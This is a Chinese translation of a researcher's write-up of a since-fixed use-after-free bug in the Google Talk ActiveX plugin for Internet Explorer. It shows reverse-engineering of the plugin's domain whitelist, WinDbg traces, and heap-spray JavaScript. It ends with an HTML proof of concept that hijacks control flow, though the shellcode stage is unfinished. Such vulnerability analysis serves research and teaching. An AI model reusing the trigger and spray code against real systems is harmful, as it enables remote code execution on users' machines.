作者打算按ROP+shellcode的套路来实现漏洞的利用，但目前只完成了堆喷布局，代码执行部分还未完成，分析过程值得我们借鉴学习。另外，翻译不对的地方还望多多指正。
### 0x00 概述
在15年的时候，我发现Google Hangouts用到的“Google Talk ActiveX Plugin”中存在一个UAF(use-after-free)的漏洞。由于此ActiveX控件是站点锁定的，也就意味着它只能被白名单中的Google域名所调用，因此要成功利用攻击者还需要找到其中某个域名的XSS漏洞。该bug已经报告给了Google，在那之后就被修复了。
### 0x01 ActiveX控件的细节
我们在IE上安装Google Hangouts时，系统会安装“Google Talk ActiveX
Plugin”这个控件，它能被浏览器调用并且导出了下述5个方法：
dispinterface GTalkPluginInterface {
properties:
methods:
[id(0x60020000)]
void send([in] BSTR str);
[id(0x60020001), propput]
void onmessage([in] VARIANT* rhs);
[id(0x60020002), propget]
BSTR version();
[id(0x60020003), propget]
BSTR wsconnectinfo();
[id(0x60020004)]
void wsconnectfailed([in] int port);
};
由分析可知该控件并没有通过实现IObjectSafetySiteLock接口来将其锁定到特定域名。
C:\Program Files (x86)\Microsoft\SiteLock 1.15>sitelist.exe {39125640-8D80-11DC-A2FE-C5C455D89593}
SiteList: Utility to dump domain list from a site-locked ActiveX control.
[1ff8] No bp log location saved, using default.
[000:000] [1ff8] Cpu: 6.58.9, x4, 2890Mhz, 8065MB
[000:000] [1ff8] Computer model: Not available
IObjectSafetySiteLock not implemented.
然而，测试表明该控件仅适用于特定的Google域名。既然它没有使用IObjectSafetySiteLock，我接着又检查其是否被注册成IE中的Browser
Helper对象，这样可以获取navigation事件，通过逆向调试发现确是如此。因此，由导出的IObjectWithSite接口控件可创建与IE的连接，借此就能得到当前访问的URL信息了。
通过下述C++代码，我们创建该控件的一个实例，并在调用IObjectWithSite-> SetSite()前插入一个断点：
#include "stdafx.h"
#include "windows.h"
#include "OCIdl.h"
int _tmain(int argc, _TCHAR* argv[])
{
CoInitialize(NULL);
IUnknown *punk;
LPGUID pclsid;
HRESULT hr = NULL;
//{39125640-8D80-11DC-A2FE-C5 C4 55 D8 95 93}
static const GUID CLSID_GTALK = { 0x39125640, 0x8D80, 0x11DC, { 0xa2, 0xfe, 0xc5, 0xc4, 0x55, 0xd8, 0x95, 0x93 } };
if (FAILED(hr))
printf("error");
hr = CoCreateInstance(CLSID_GTALK, NULL, CLSCTX_SERVER, IID_IUnknown, (void **)&punk);
if (FAILED(hr))
printf("error");
// Ask the ActiveX object for the IDispatch interface.
IObjectWithSite *pOSite;
hr = punk->QueryInterface(IID_IObjectWithSite, (void **)&pOSite);
if (FAILED(hr))
printf("error");
__asm
{
int 3;
}
//pOSite->GetSite(CLSID_GTALK, NULL);
pOSite->SetSite(NULL);
return 0;
}
这样我们就可以在调试器中定位到此函数的入口信息，然后在IE中的相同位置下断，并借助HTML代码来加载和调用该控件。
分析可知，控件通过对象传递来实现SetSite供IE调用，如下代码为其中的一部分实现，这里的URL信息由ECX寄存器传递：
0:007> u 5ca85c51
googletalkax+0x5c51:
5ca85c51 51 push ecx
5ca85c52 50 push eax
5ca85c53 e8d88f0000 call googletalkax!DllUnregisterServer+0x39e0 (5ca8ec30)
5ca85c58 8bd8 mov ebx,eax
5ca85c5a 83c408 add esp,8
5ca85c5d 85db test ebx,ebx
5ca85c5f 7465 je googletalkax+0x5cc6 (5ca85cc6)
5ca85c61 8b4e40 mov ecx,dword ptr [esi+40h]
0:007> da poi(ecx)
1123efc0 "http://localhost:9000/testgoogle"
1123efe0 "talkactivexplugin.html"
通过对此函数的更进一步分析我们可以找到将当前域名和白名单中的域名进行比较的代码段：
.text:5CA8CA20 cmp [ebp+var_8], 10h
.text:5CA8CA24 lea eax, [ebp+var_1C] ; holds the current domain name
.text:5CA8CA27 push dword ptr [esi] ; holds whitelisted domain
.text:5CA8CA29 cmovnb eax, [ebp+var_1C]
.text:5CA8CA2D push eax
.text:5CA8CA2E call sub_5CA957C0
.text:5CA8CA33 add esp, 8
.text:5CA8CA36 test al, al
.text:5CA8CA38 jnz loc_5CA8CB37
.text:5CA8CA3E add esi, 4
.text:5CA8CA41 cmp esi, offset aHostedtalkgadg ; "*hostedtalkgadget.google.com"
.text:5CA8CA47 jl short loc_5CA8CA20
我们可以在调试器中下断来打印出所有的白名单域名：
0:005> bl
0 e 5ca8ca2e 0001 (0001) 0:**** googletalkax!DllUnregisterServer+0x17de "da poi(esp+4);g"
0:005> g
5cace2c4 "*hostedtalkgadget.google.com"
5cace2e4 "*mail.google.com"
5cace2f8 "*plus.google.com"
5cace30c "*plus.sandbox.google.com"
5cace328 "*talk.google.com"
5cace33c "*talkgadget.google.com"
此外，下述代码为该函数中的另一条执行路径，但其需要设置控件中的“plugin_enable_corp_host”标志才能被触发，这应该是Google内部使用的，对于其它域名还需要执行额外的检测操作。
.text:5CA8CA9F push offset a_corp_google_c ; "*.corp.google.com"
.text:5CA8CAA4 cmovnb eax, [ebp+var_1C]
.text:5CA8CAA8 push eax
.text:5CA8CAA9 call sub_5CA957C0
.text:5CA8CAAE add esp, 8
.text:5CA8CAB1 test al, al
.text:5CA8CAB3 jnz short loc_5CA8CB0C
.text:5CA8CAB5 cmp [ebp+var_8], 10h
.text:5CA8CAB9 lea eax, [ebp+var_1C]
.text:5CA8CABC push offset a_prod_google_c ; "*.prod.google.com"
.text:5CA8CAC1 cmovnb eax, [ebp+var_1C]
.text:5CA8CAC5 push eax
.text:5CA8CAC6 call sub_5CA957C0
.text:5CA8CACB add esp, 8
.text:5CA8CACE test al, al
.text:5CA8CAD0 jnz short loc_5CA8CB0C
.text:5CA8CAD2 cmp [ebp+var_8], 10h
.text:5CA8CAD6 lea eax, [ebp+var_1C]
.text:5CA8CAD9 push offset a_googlegoro_co ; "*.googlegoro.com"
.text:5CA8CADE cmovnb eax, [ebp+var_1C]
.text:5CA8CAE2 push eax
.text:5CA8CAE3 call sub_5CA957C0
.text:5CA8CAE8 add esp, 8
.text:5CA8CAEB test al, al
.text:5CA8CAED jnz short loc_5CA8CB0C
.text:5CA8CAEF cmp [ebp+var_8], 10h
.text:5CA8CAF3 lea eax, [ebp+var_1C]
.text:5CA8CAF6 push offset a_googleplex_co ; "*.googleplex.com"
.text:5CA8CAFB cmovnb eax, [ebp+var_1C]
.text:5CA8CAFF push eax
.text:5CA8CB00 call sub_5CA957C0
其中，corp.google.com和googleplex.com域名会返回登录提示，似乎仅供Google员工使用，而prod.google.com域名则无法访问，很可能只是内部使用的。
### 0x02 如何触发漏洞
继续，我们知道赋值给“onmessage”导出方法的变量需为JavaScript回调函数，且它会立即被控件所调用，这可以通过下述代码进行验证：
<html>
<object
classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr
>
</object>
<script>
sdr.onmessage = sdrcallback;
function sdrcallback(){
alert("callback function is called");
}
</script>
</html>
如果控件在调用回调函数前没有事先调用AddRef()函数，那么就可能出现use-after-free的情况，因为回调函数不会改变此控件在垃圾回收机制中的引用计数。
我们通过创建一个删除控件的回调函数来复现此漏洞场景：
<html>
<div id="seandiv">
<object
classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr
>
</object>
</div>
<script>
sdr.onmessage = sdrcallback;
function sdrcallback(){
alert("callback function is called");
//delete div
this.document.getElementById("seandiv").innerHTML = "";
CollectGarbage();
CollectGarbage();
CollectGarbage();
}
</script>
<body>
sdr
</body>
bp OLEAUT32!DispCallFunc "u poi(poi(poi(esp+4))+(poi(esp+8))) L1;gc"
</html>
最终调试器会返回如下的崩溃信息：
(13b4.24a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll -
eax=00000001 ebx=00000001 ecx=0aabe8b7 edx=00161078 esi=00000000 edi=407a2fb0
eip=13e70ca5 esp=0a13c1b8 ebp=0a13c2cc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
googletalkax!DllUnregisterServer+0x6385:
13e70ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:407a2fcc=????????
其中EDI寄存器指向的是一块无效的内存空间：
0:008> r
eax=00000001 ebx=00000001 ecx=0aabe8b7 edx=00161078 esi=00000000 edi=407a2fb0
eip=13e70ca5 esp=0a13c1b8 ebp=0a13c2cc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
googletalkax!DllUnregisterServer+0x6385:
13e70ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:407a2fcc=????????
0:008> dd edi
407a2fb0 ???????? ???????? ???????? ????????
407a2fc0 ???????? ???????? ???????? ????????
407a2fd0 ???????? ???????? ???????? ????????
407a2fe0 ???????? ???????? ???????? ????????
407a2ff0 ???????? ???????? ???????? ????????
407a3000 ???????? ???????? ???????? ????????
407a3010 ???????? ???????? ???????? ????????
407a3020 ???????? ???????? ???????? ????????
进一步分析可知这是一块释放掉的内存：
0:008> !heap -p -a edi
address 407a2fb0 found in
_DPH_HEAP_ROOT @ 161000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
40751ccc: 407a2000 2000
51f990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77691564 ntdll!RtlDebugFreeHeap+0x0000002f
7764ac29 ntdll!RtlpFreeHeap+0x0000005d
775f34a2 ntdll!RtlFreeHeap+0x00000142
75f514ad kernel32!HeapFree+0x00000014
13e88310 googletalkax!DllUnregisterServer+0x0001d9f0
13e6e407 googletalkax!DllUnregisterServer+0x00003ae7
13e6218a googletalkax+0x0000218a
13e6572f googletalkax+0x0000572f
61d0fe01 +0x0000001d
61d24fd6 MSHTML!CBase::PrivateRelease+0x000000bc
61d0d8ee MSHTML!CTxtSite::Release+0x0000001a
61d0d986 MSHTML!CBase::ReleaseInternalRef+0x0000001f
5e6586d3 jscript9!Js::CustomExternalObject::Dispose+0x00000023
5e65869c jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x00000134
5e659880 jscript9!HeapInfo::DisposeObjects+0x000000b0
5e659750 jscript9!Recycler::DisposeObjects+0x0000004a
5e6596fe jscript9!Recycler::FinishDisposeObjects+0x0000001a
5e74f64c jscript9!Recycler::CollectOnConcurrentThread+0x00000087
5e655f36 jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x00000026
5e655eeb jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x0000003b
5e655e6d jscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0x000000ad
5e656a46 jscript9!Recycler::DoCollectWrapped+0x00000079
5e7fc8dc jscript9!Recycler::Collect<-1073475584>+0x0000004b
5e64c06d jscript9!Js::InterpreterStackFrame::Process+0x00001940
5e64c7ab jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001ce
### 0x03 测试漏洞的可利用性
接着我们来测试此漏洞的可利用性，这里需要把上述释放掉的内存块替换成新分配的内存空间，然后查看程序的运行过程中能否导致可控的代码执行，主要借助的是[.dvalloc](https://msdn.microsoft.com/en-us/library/windows/hardware/ff562434%28v=vs.85%29.aspx)命令。
通过查看下述代码，我们发现其中存在一条能导致代码执行的路径。首先，EDI+1Ch指向的内存值被存入到EAX寄存器，而后EAX指向的内存值又被赋值给了ESI寄存器，再往下程序会执行一些其它操作和函数调用并最终来到ESI+4指向的地址。
13e70ca5 8b471c mov eax,dword ptr [edi+1Ch]
13e70ca8 8b30 mov esi,dword ptr [eax] ds:002b:00000000=????????
13e70caa 8d850cffffff lea eax,[ebp-0F4h]
13e70cb0 50 push eax
13e70cb1 8d45e4 lea eax,[ebp-1Ch]
13e70cb4 50 push eax
13e70cb5 e8768e0000 call googletalkax!DllUnregisterServer+0xf210 (13e79b30)
13e70cba 8b4f1c mov ecx,dword ptr [edi+1Ch]
13e70cbd 83c408 add esp,8
13e70cc0 50 push eax
13e70cc1 ff5604 call dword ptr [esi+4]
我们需要确保13e70cb5处的函数调用不会改变ESI寄存器的值，这样上面找到的执行路径才是可控的。下述的WinDbg调试过程给出了如何分配新的内存空间来替换释放掉的内存块，并通过单步跟踪来确认此路径能导致代码的执行。
(11cc.2728): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll -
eax=00000001 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=111e2fb0
eip=59d80ca5 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
googletalkax!DllUnregisterServer+0x6385:
59d80ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:111e2fcc=????????
0:008> .dvalloc 2000h
Allocated 2000 bytes starting at 0c690000
0:008> r @edi = 0c690000
0:008> dd edi+1c
0c69001c 00000000 00000000 00000000 00000000
0c69002c 00000000 00000000 00000000 00000000
0c69003c 00000000 00000000 00000000 00000000
0c69004c 00000000 00000000 00000000 00000000
0c69005c 00000000 00000000 00000000 00000000
0c69006c 00000000 00000000 00000000 00000000
0c69007c 00000000 00000000 00000000 00000000
0c69008c 00000000 00000000 00000000 00000000
0:008> p
eax=00000000 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80ca8 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6388:
59d80ca8 8b30 mov esi,dword ptr [eax] ds:002b:00000000=????????
0:008> .dvalloc 200
Allocated 1000 bytes starting at 0cbd0000
0:008> r @eax = 0cbd0000
0:008> dd eax
0cbd0000 00000000 00000000 00000000 00000000
0cbd0010 00000000 00000000 00000000 00000000
0cbd0020 00000000 00000000 00000000 00000000
0cbd0030 00000000 00000000 00000000 00000000
0cbd0040 00000000 00000000 00000000 00000000
0cbd0050 00000000 00000000 00000000 00000000
0cbd0060 00000000 00000000 00000000 00000000
0cbd0070 00000000 00000000 00000000 00000000
0:008> p
eax=0cbd0000 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80caa esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x638a:
59d80caa 8d850cffffff lea eax,[ebp-0F4h]
0:008> p
eax=09d7c510 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cb0 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6390:
59d80cb0 50 push eax
0:008> p
eax=09d7c510 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cb1 esp=09d7c4ec ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6391:
59d80cb1 8d45e4 lea eax,[ebp-1Ch]
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cb4 esp=09d7c4ec ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6394:
59d80cb4 50 push eax
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cb5 esp=09d7c4e8 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6395:
59d80cb5 e8768e0000 call googletalkax!DllUnregisterServer+0xf210 (59d89b30)
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cba esp=09d7c4e8 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x639a:
59d80cba 8b4f1c mov ecx,dword ptr [edi+1Ch] ds:002b:0c69001c=00000000
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cbd esp=09d7c4e8 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x639d:
59d80cbd 83c408 add esp,8
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cc0 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
googletalkax!DllUnregisterServer+0x63a0:
59d80cc0 50 push eax
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cc1 esp=09d7c4ec ebp=09d7c604 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
googletalkax!DllUnregisterServer+0x63a1:
59d80cc1 ff5604 call dword ptr [esi+4] ds:002b:00000004=????????
0:008> p
(11cc.2728): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
这表明如果能在释放掉的内存块中写入我们精心构造的数据，那么就能将此漏洞转换成可利用的代码执行。
### 0x04 堆分配
我们知道该释放掉的内存块是位于堆空间上的，接下去就来看下它的分配。先在Gflags的设置中勾选“Create User Mode Stack Trace
Database”这一项，我们要能够在同一堆区上分配相同大小的内存空间，这样才能满足堆喷的利用条件，因此需要确定释放的内存是分配在哪块堆上的。
通过下述HTML代码我们可以将特定的数据分配到IE的默认堆上：
<html>
<div id="seandiv">
<object
classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr
>
</object>
</div>
<script>
function sdrcallback(){
alert("callback function is called");
//delete div
this.document.getElementById("seandiv").innerHTML = "";
CollectGarbage();
CollectGarbage();
CollectGarbage();
alert(sdr);
}
//javapscript heap spray to see if we are on same heap as activeX
var seanstring = "seansea"+"n7aaaaaaaaa"+"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
//s -u 0x00000000 L?0xffffffff seansean7
sdr.onmessage = sdrcallback;
</script>
<body></html>
然后借助WinDbg来看下堆分配的情况：
(1348.18dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll -
eax=00000001 ebx=00000001 ecx=d215f8bc edx=00461078 esi=00000000 edi=3dc19fb0
eip=14d10ca5 esp=09b3bf10 ebp=09b3c024 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
googletalkax!DllUnregisterServer+0x6385:
14d10ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:3dc19fcc=????????
0:007> !heap -p -a edi
address 3dc19fb0 found in
_DPH_HEAP_ROOT @ 461000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
3dbe1ac4: 3dc19000 2000
5f8290b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77691564 ntdll!RtlDebugFreeHeap+0x0000002f
7764ac29 ntdll!RtlpFreeHeap+0x0000005d
775f34a2 ntdll!RtlFreeHeap+0x00000142
75f514ad kernel32!HeapFree+0x00000014
14d28310 googletalkax!DllUnregisterServer+0x0001d9f0
14d0e407 googletalkax!DllUnregisterServer+0x00003ae7
14d0218a googletalkax+0x0000218a
14d0572f googletalkax+0x0000572f
61d0fe01 +0x0000001d
61d24fd6 MSHTML!CBase::PrivateRelease+0x000000bc
61d0d8ee MSHTML!CTxtSite::Release+0x0000001a
61d0d986 MSHTML!CBase::ReleaseInternalRef+0x0000001f
5e6586d3 jscript9!Js::CustomExternalObject::Dispose+0x00000023
5e65869c jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x00000134
5e659880 jscript9!HeapInfo::DisposeObjects+0x000000b0
5e659750 jscript9!Recycler::DisposeObjects+0x0000004a
5e6596fe jscript9!Recycler::FinishDisposeObjects+0x0000001a
5e74f64c jscript9!Recycler::CollectOnConcurrentThread+0x00000087
5e655f36 jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x00000026
5e655eeb jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x0000003b
5e655e6d jscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0x000000ad
5e656a46 jscript9!Recycler::DoCollectWrapped+0x00000079
5e7fc8dc jscript9!Recycler::Collect<-1073475584>+0x0000004b
5e64c06d jscript9!Js::InterpreterStackFrame::Process+0x00001940
5e64c7ab jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001ce
0:007> s -u 0x00000000 L?0xffffffff seansean7
0eebafa6 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.
29e66f96 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.
4b6c6f02 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.
79700c0a 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.
0:007> !heap -p -a 0eebafa6
address 0eebafa6 found in
_DPH_HEAP_ROOT @ 461000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
eec0208: eeba7f0 80c - eeba000 2000
5f828e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77690d96 ntdll!RtlDebugAllocateHeap+0x00000030
7764af0d ntdll!RtlpAllocateHeap+0x000000c4
775f3cfe ntdll!RtlAllocateHeap+0x0000023a
61df38ff MSHTML!CHtmRootParseCtx::NailDownChain+0x000004ba
61de7c59 MSHTML!CHtmRootParseCtx::EndElement+0x00000119
61de7b27 MSHTML!CHtmRootParseCtxRouter::EndElement+0x00000017
61dee7b2 MSHTML!CHtml5TreeConstructor::PopElement+0x000000b7
61f896b5 MSHTML!CTextInsertionMode::DefaultEndElementHandler+0x00000035
620fc85b MSHTML!CInsertionMode::HandleEndElementToken+0x0000003d
61df17f5 MSHTML!CHtml5TreeConstructor::HandleElementTokenInInsertionMode+0x00000026
61df16c8 MSHTML!CHtml5TreeConstructor::PushElementToken+0x000000a5
61f891f8 MSHTML!CHtml5Tokenizer::EmitElementToken+0x00000067
61f8a243 MSHTML!CHtml5Tokenizer::RCDATAEndTagName_StateHandler+0x000003bf
61deeec5 MSHTML!CHtml5Tokenizer::ParseBuffer+0x0000012c
61def19b MSHTML!CHtml5Parse::ParseToken+0x00000131
61dee707 MSHTML!CHtmPost::ProcessTokens+0x000006af
61de7f32 MSHTML!CHtmPost::Exec+0x000001e4
620b9a78 MSHTML!CHtmPost::Run+0x0000003d
620b99de MSHTML!PostManExecute+0x00000061
620c1e04 MSHTML!PostManResume+0x0000007b
61e4d397 MSHTML!CDwnChan::OnMethodCall+0x0000003e
61d0e101 MSHTML!GlobalWndOnMethodCall+0x0000016d
61d0db16 MSHTML!GlobalWndProc+0x000002e5
751262fa user32!InternalCallWinProc+0x00000023
75126d3a user32!UserCallWinProcCheckWow+0x00000109
751277c4 user32!DispatchMessageWorker+0x000003bc
7512788a user32!DispatchMessageW+0x0000000f
6366f668 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464
636a25b8 IEFRAME!LCIETab_ThreadProc+0x0000037b
7531d6fc iertutil!_IsoThreadProc_WrapperToReleaseScope+0x0000001c
5f893991 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094
可以看到ActiveX控件和JavaScript代码使用了相同的堆区，因此利用起来就方便多了。
### 0x05 确定堆分配的大小
接着我们还需要确定此释放对象的大小，这里要禁用掉除了“usermode stack dbs”外所有的Gflags设置，同时还要在崩溃处下个断点：
Bu googletalkax!DllUnregisterServer+0x6385 "!heap -p -a edi;g"
70760ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:078f8a44=a48a8f07
0:005> !heap -p -a edi
address 078f8a28 found in
_HEAP @ 730000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
078f8a10 000d 0000 [00] 078f8a28 00050 - (busy)
? googletalkax!DllUnregisterServer+43db0
因此释放掉的对象大小为0x50字节。
### 0x06 堆喷
然后，我们利用堆喷在释放内存上重新写入想要的数据，此步骤要在与释放对象交互前完成。不过在此之前我们需要先填充IE进程中的那些堆碎片，这个过程会分配大量相同大小的堆。
我们通过下述JS函数来实现堆喷。其中，赋值的0x50字节子字符串需要减去4字节的BSTR对象头部以及2字节的终止标识，又因为存储的是Unicode格式，所以还要除以2。最终，该字符串会正好占用0x50字节的内存空间。
var largechunk = unescape("sean3");
var spray = new Array();
function dospray()
{
while (largechunk.length < 0x10000) largechunk += largechunk;
for (var i = 0; i < 0x200; i++)
{
spray[i] = largechunk.substring(0,(0x50-6)/2);
}
}
此后，我们还要用到[DEPS喷射技术](https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/)来完成一次精确布局，通过如下堆喷操作后内存0x20302228上会保存有我们的数据。
function corelan_deps_spray()
{
var div_container = document.getElementById("corelanspraydiv");
div_container.style.cssText = "display:none";
junk = unescape("%u615d%u6161");
while (junk.length < 0x80000) junk += junk;
for (var i = 0; i < 0x500; i++)
{
var obj = document.createElement("button");
obj.title = junk;
div_container.appendChild(obj);
}
}
### 0x07 PoC
借助所有的这些信息，我们给出如下的PoC代码，它能将程序的执行流引向我们所设定的地址：
<html>
<div id="seandiv">
<object
classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr
>
</object>
</div>
<div id="corelanspraydiv"></div>
<script>
var largechunk = unescape("%u2030%u2228");
var spray = new Array();
function dospray()
{
while (largechunk.length < 0x10000) largechunk += largechunk;
for (var i = 0; i < 0x200; i++)
{
spray[i] = largechunk.substring(0,(0x50-6)/2);
}
}
function corelan_deps_spray()
{
var div_container = document.getElementById("corelanspraydiv");
div_container.style.cssText = "display:none";
junk = unescape("%u615d%u6161");
while (junk.length < 0x80000) junk += junk;
for (var i = 0; i < 0x500; i++)
{
var obj = document.createElement("button");
obj.title = junk;
div_container.appendChild(obj);
}
}
function sdrcallback(){
//alert("callback function is called!"); //use this to attach debugger and bu googletalkax!DllUnregisterServer+0x6385
this.document.getElementById("seandiv").innerHTML = "";
CollectGarbage();
CollectGarbage();
CollectGarbage();
//spray the heap with 0x50 size objects, this will overwrite the freed chunk
dospray();
//interact with the object
var ver = sdr.version;
sdr.send("sean");
}
//prime the lfh heap
dospray();
//spray reliable so location at 0x20302228 holds our data
corelan_deps_spray();
//invoke callback function
sdr.onmessage = sdrcallback;
</script>
<body>
</body>
</html>
代码通过DEPS堆喷能确保将内存0x20302228处的对应值置为0x6161615d。
之后，“onmessage”方法的回调函数中会进行对象的释放操作，并通过堆喷分配大量相同大小（0x50字节）的字符串对象来重写此释放内存。这时该释放指针指向的内容就变成了新分配的字符串对象，其中包含了指向0x20302228的指针。当访问此释放指针时，同样会执行下述的汇编代码：
13e70ca5 8b471c mov eax,dword ptr [edi+1Ch]
13e70ca8 8b30 mov esi,dword ptr [eax]
13e70caa 8d850cffffff lea eax,[ebp-0F4h]
13e70cb0 50 push eax
13e70cb1 8d45e4 lea eax,[ebp-1Ch]
13e70cb4 50 push eax
13e70cb5 e8768e0000 call googletalkax!DllUnregisterServer+0xf210 (13e79b30)
13e70cba 8b4f1c mov ecx,dword ptr [edi+1Ch]
13e70cbd 83c408 add esp,8
13e70cc0 50 push eax
13e70cc1 ff5604 call dword ptr [esi+4]
